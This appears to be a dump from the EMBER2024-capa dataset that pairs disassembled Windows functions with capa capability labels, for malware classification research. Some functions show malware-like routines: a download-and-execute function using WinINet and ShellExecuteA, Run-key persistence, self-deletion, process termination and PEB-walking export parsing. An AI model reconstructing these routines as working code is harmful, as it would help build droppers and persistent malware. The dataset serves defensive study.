joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448fc4
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
push esp
push 0
push 0
push 0x1c
push 0
call sub.shfolder.dll_SHGetFolderPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.00404b3c
mov eax, dword [ebx]
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x108]
test eax, eax
je 0x449002
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x449017
mov eax, ebx
mov edx, 0x449028
call fcn.00404b98
add esp, 0x10c
pop ebx
ret

Function at 0x44902c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
push esp
push 0
push 0
push 0
push 0
call sub.shfolder.dll_SHGetFolderPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.00404b3c
mov eax, dword [ebx]
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x108]
test eax, eax
je 0x44906a
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x44907f
mov eax, ebx
mov edx, 0x449090
call fcn.00404b98
add esp, 0x10c
pop ebx
ret

Function at 0x449094
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
push esp
push 0
push 0
push 5
push 0
call sub.shfolder.dll_SHGetFolderPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.00404b3c
mov eax, dword [ebx]
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x108]
test eax, eax
je 0x4490d2
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x4490e7
mov eax, ebx
mov edx, 0x4490f8
call fcn.00404b98
add esp, 0x10c
pop ebx
ret

Function at 0x4490fc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404d4c
xor eax, eax
push ebp
push 0x449165
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
cmp byte [ebp - 5], 0
je 0x44912f
mov esi, 1
jmp 0x449131
xor esi, esi
push esi
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404d5c
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jbe 0x44914f
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44916c
lea eax, [ebp - 4]
call fcn.004048cc
ret

Function at 0x449174
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404d4c
mov eax, dword [ebp - 8]
call fcn.00404d4c
mov eax, dword [ebp - 0xc]
call fcn.00404d4c
xor eax, eax
push ebp
push 0x449200
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 8]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404be4
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404be4
lea eax, [ebp - 0xc]
call fcn.00404dbc
push eax
lea eax, [ebp - 8]
call fcn.00404dbc
push eax
call sub.kernel32.dll_MoveFileA
test eax, eax
je 0x4491e5
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449207
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004048f0
ret
Function at 0x449210
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
xor ebx, ebx
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x449232
push 0
push esi
call sub.kernel32.dll_TerminateProcess
test eax, eax
je 0x449232
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4492ac
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x41c], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404d4c
mov eax, dword [ebp - 8]
call fcn.00404d4c
mov eax, dword [ebp - 0xc]
call fcn.00404d4c
xor eax, eax
push ebp
push 0x4493f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
push 0
push 0
push 0
push 0
push 0x449408
call sub.wininet.dll_InternetOpenA
mov esi, eax
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404d5c
push eax
push esi
call sub.wininet.dll_InternetOpenUrlA
mov ebx, eax
test ebx, ebx
je 0x4493ca
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x41c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00404be4
mov eax, dword [ebp - 0x41c]
call fcn.00404d5c
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x4493c4
lea eax, [ebp - 0x18]
push eax
push 0x400
lea eax, [ebp - 0x418]
push eax
push ebx
call sub.wininet.dll_InternetReadFile
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
push edi
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0x18], 0
jne 0x449363
push edi
call sub.kernel32.dll_CloseHandle
push 1
mov eax, dword [ebp - 0xc]
call fcn.00404d5c
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00404d5c
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jbe 0x4493c4
mov byte [ebp - 0xd], 1
push ebx
call sub.wininet.dll_InternetCloseHandle
push esi
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4493fd
lea eax, [ebp - 0x41c]
call fcn.004048cc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004048f0
ret
Function at 0x449554
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404d4c
xor eax, eax
push ebp
push 0x4495d6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
push 0x4495e4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x4495c0
push 0x455698
call sub.kernel32.dll_lstrlenA_1
mov ebx, eax
push ebx
push 0x455698
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404d5c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x4495c0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4495dd
lea eax, [ebp - 4]
call fcn.004048cc
ret

Function at 0x449614
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
add esp, 0xfffffe00
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
test eax, eax
je 0x4496aa
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetShortPathNameA
push 0x4496b4
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA
push esp
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4496bc
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
push 0x4496c4
call sub.kernel32.dll_GetEnvironmentVariableA
test eax, eax
je 0x4496aa
push 0
push 0
lea eax, [esp + 0x108]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA_1
cmp eax, 0x20
add esp, 0x200
ret
Function at 0x4496cc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404d4c
xor eax, eax
push ebp
push 0x449812
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00404dbc
push eax
call sub.kernel32.dll_lstrlenA_1
test eax, eax
je 0x4497f7
push pe_nt_image_headers32
push 0x455698
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 4]
call fcn.00404dbc
push eax
push 0x455698
call sub.kernel32.dll_lstrcmpA
test eax, eax
je 0x4497f7
mov dl, 1
mov eax, dword [0x414bb0]
call fcn.00403a64
mov ebx, eax
lea eax, [ebp - 8]
mov edx, 0x455698
mov ecx, pe_nt_image_headers32
call fcn.00404b3c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00417978
push 0
push 0
mov eax, ebx
call fcn.00417208
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004178a4
mov eax, ebx
call fcn.00403a94
mov dl, 1
mov eax, dword [0x414bb0]
call fcn.00403a64
mov ebx, eax
mov edx, 0x449828
mov eax, ebx
call fcn.00417978
push 0
push 0
mov eax, ebx
call fcn.00417208
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00408b10
lea eax, [ebp - 0xc]
mov edx, 0x449828
call fcn.00404b98
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.004178a4
mov eax, ebx
call fcn.00403a94
cmp byte [0x44e1b4], 0
je 0x4497d3
call fcn.00449614
push 0
push 0
push 0
lea eax, [ebp - 4]
call fcn.00404dbc
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA_1
cmp eax, 0x20
jb 0x4497f7
push 0
call sub.kernel32.dll_ExitProcess_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449819
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004048f0
ret
Function at 0x44989c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x449a87
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x455670], 0
je 0x44997a
mov ebx, dword [0x455670]
mov eax, dword [ebx]
mov dword [0x455674], eax
mov eax, 0x455680
lea edx, [ebx + 0xf]
call fcn.00404b30
mov eax, 0x455684
lea edx, [ebx + 4]
call fcn.00404b30
movzx eax, byte [ebx + 0x25]
mov byte [0x44e1ac], al
movzx eax, byte [ebx + 0x24]
mov byte [0x44e1b0], al
movzx eax, byte [ebx + 0x8d]
mov byte [0x44e1b4], al
mov eax, 0x44e1a8
lea edx, [ebx + 0x3e]
call fcn.00404b30
mov eax, 0x45568c
lea edx, [ebx + 0x26]
call fcn.00404b30
mov eax, dword [ebx + 0x37]
mov dword [0x455690], eax
lea eax, [ebp - 4]
mov edx, dword [ebx + 0x8e]
call fcn.00404f90
lea eax, [ebp - 4]
call fcn.00404dbc
lea edx, [ebx + 0x92]
mov ecx, dword [ebx + 0x8e]
call fcn.00407064
lea eax, [ebp - 8]
push eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, 0x449a9c
call fcn.004489a4
mov edx, dword [ebp - 8]
mov eax, 0x45567c
mov ecx, dword [0x4487b0]
call fcn.00405bf4
jmp 0x449a5e
push 0xa
push 0x449aa0
mov eax, dword [0x4517f8]
push eax
call sub.kernel32.dll_FindResourceA
test eax, eax
je 0x449a5e
push eax
mov eax, dword [0x4517f8]
push eax
call sub.kernel32.dll_LoadResource
test eax, eax
je 0x449a5e
push eax
call sub.kernel32.dll_LockResource
mov ebx, eax
mov eax, dword [ebx]
mov dword [0x455674], eax
mov eax, 0x455680
lea edx, [ebx + 0xf]
call fcn.00404b30
mov eax, 0x455684
lea edx, [ebx + 4]
call fcn.00404b30
movzx eax, byte [ebx + 0x25]
mov byte [0x44e1ac], al
movzx eax, byte [ebx + 0x24]
mov byte [0x44e1b0], al
movzx eax, byte [ebx + 0x8d]
mov byte [0x44e1b4], al
mov eax, 0x44e1a8
lea edx, [ebx + 0x3e]
call fcn.00404b30
mov eax, 0x45568c
lea edx, [ebx + 0x26]
call fcn.00404b30
mov eax, dword [ebx + 0x37]
mov dword [0x455690], eax
lea eax, [ebp - 4]
mov edx, dword [ebx + 0x8e]
call fcn.00404f90
lea eax, [ebp - 4]
call fcn.00404dbc
lea edx, [ebx + 0x92]
mov ecx, dword [ebx + 0x8e]
call fcn.0040705c
lea eax, [ebp - 0xc]
push eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, 0x449a9c
call fcn.004489a4
mov edx, dword [ebp - 0xc]
mov eax, 0x45567c
mov ecx, dword [0x4487b0]
call fcn.00405bf4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449a8e
lea eax, [ebp - 0xc]
mov edx, dword [0x4487b0]
mov ecx, 2
call fcn.00405414
lea eax, [ebp - 4]
call fcn.004048cc
ret
Function at 0x40f15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x40f168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x40f14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x40f145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x40f145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x1001110c
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
mov eax, 0x3556
mov dword [ebp - 0x20], eax
push esi
mov esi, ecx
mov dword [ebp - 0x1c], eax
xor ecx, ecx
mov dword [ebp - 0x18], eax
inc ecx
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ebx
jmp 0x1001113e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x40], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x10011134
mov dword [ebp - 8], ebx
cmp dword [ebp - 8], 3
jg 0x10011220
push edi
mov edi, 0x6986d6
mov dword [ebp - 0xc], 0xfffffffc
lea eax, [ebp - 1]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
push eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov byte [ebp - 1], bl
push ebx
call fcn.100150df
mov byte [ebp - 2], bl
pop ecx
pop ecx
cmp byte [ebp - 2], bl
je 0x1001118b
xor cl, cl
call fcn.10011234
mov dword [ebp - 0xc], 3
cmp dword [ebp - 0xc], ebx
jl 0x1001120f
mov byte [ebp - 2], bl
cmp byte [ebp - 2], bl
je 0x100111a7
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x20]
cmp eax, 0xffffffff
setne cl
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x20]
cmp eax, dword [ebp - 0x10]
jne 0x100111db
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x20]
imul eax, dword [ebp - 0x3c]
test eax, eax
je 0x100111db
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x20]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x20]
cmp eax, 1
setle cl
xor edx, edx
add ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0xc]
jns 0x10011197
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
push 1
pop ecx
jle 0x10011157
pop edi
lea eax, [esi - 9]
mov ecx, 0x4ac
cdq
idiv ecx
pop esi
sub eax, 9
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001bf81
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1001bfb7
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1001bfb5
push 0x651
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
jmp 0x1001bfd7
push 0
push 0xe4f
push 0x168e
push 0
push 0xd86
push 0x1a00
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esp, ebp
pop ebp
ret
Function at 0x1002a0bf
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002a0f6
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002a0f4
push 0x651
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
jmp 0x1002a120
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax]
and eax, 0xfff
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov esp, ebp
pop ebp
ret
Function at 0x1002df63
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
push 1
push 0x2be4
lea eax, [ebp - 0x10]
push eax
push 0x7c8
call fcn.1002dcfe
add esp, 0x14
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1002df9d
xor eax, eax
jmp 0x1002e0d2
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
call fcn.1002dd75
add esp, 0x10
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1002dfc5
xor eax, eax
jmp 0x1002e0d2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x781a
push 0x22ca
call fcn.1002ddc7
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x1002dfee
xor eax, eax
jmp 0x1002e0d2
push 1
push dword [ebp - 8]
push 0x74bb
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push 0x699c
call fcn.1002dba7
add esp, 0x20
push 0x72fc
lea eax, [ebp + 8]
push eax
push 0x18df
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 1
call fcn.1002de2c
add esp, 0x18
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x1c], ecx
push 1
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.1002debc
add esp, 0xc
push dword [ebp - 4]
call fcn.1002d3ac
pop ecx
test eax, eax
jne 0x1002e063
xor eax, eax
jmp 0x1002e0d2
push 0
push dword [ebp - 4]
call fcn.10028c66
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1002e0ba
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x14], ecx
jne 0x1002e08e
xor eax, eax
jmp 0x1002e0d2
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1002e0a7
xor eax, eax
jmp 0x1002e0d2
push 0x105b
lea eax, [ebp - 4]
push eax
push 1
call fcn.1002df20
add esp, 0xc
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1002e0cb
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
jmp 0x1002e0cf
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret
Function at 0x100426ff
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10042728
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add eax, 4
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x1004274f
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1004274f
push 0x651
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov esp, ebp
pop ebp
ret

Function at 0x1004278f
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x100427d9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
shl eax, 1
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
sub ecx, eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [eax + 0x24], ecx
jmp 0x100427ea
push 0x3f0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov esp, ebp
pop ebp
ret

Function at 0x10042c36
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10042c7d
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov byte [ecx + eax], 0
jmp 0x10042c93
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10042c93
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov esp, ebp
pop ebp
ret
Function at 0x10052790
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
call fcn.10052810
movzx eax, al
test eax, eax
je 0x100527c1
push 0x10001334
push 0x10666790
call fcn.100518b0
add esp, 8
push 0
call fcn.10060419
mov ecx, dword [ebp - 4]
call fcn.10052af0
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 4]
call fcn.100528f0
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x100727f2
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1007a38c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.100639e4
mov dword [ebp - 0x14], eax
cmp dword [0x10667840], esi
jne 0x100728e5
push 0x800
push esi
push 0x100078bc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10072872
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x100729c5
push esi
push esi
push 0x100078bc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x100729c5
push 0x100078d4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100729c5
push eax
call ebx
push 0x100078e0
push edi
mov dword [0x10667840], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100078f0
push edi
mov dword [0x10667844], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007904
push edi
mov dword [0x10667848], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10667850], eax
test eax, eax
je 0x100728e2
push 0x10007920
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1066784c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007290a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x100728fd
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1007291f
push 4
pop eax
jmp 0x100729c7
cmp dword [ebp - 0x14], esi
je 0x1007291f
push dword [0x10667840]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10072904
mov eax, dword [0x1066784c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1007297d
cmp dword [0x10667850], edi
je 0x1007297d
push eax
call ebx
push dword [0x10667850]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1007297d
test eax, eax
je 0x1007297d
call ecx
test eax, eax
je 0x10072972
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10072972
test byte [ebp - 8], 1
jne 0x1007297d
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x100729ad
mov eax, dword [0x10667844]
cmp eax, edi
je 0x100729aa
push eax
call ebx
test eax, eax
je 0x100729aa
call eax
mov esi, eax
test esi, esi
je 0x100729aa
mov eax, dword [0x10667848]
cmp eax, edi
je 0x100729aa
push eax
call ebx
test eax, eax
je 0x100729aa
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10667840]
call ebx
test eax, eax
je 0x100729c5
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x100729c7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call main
mov esp, ebp
pop ebp
ret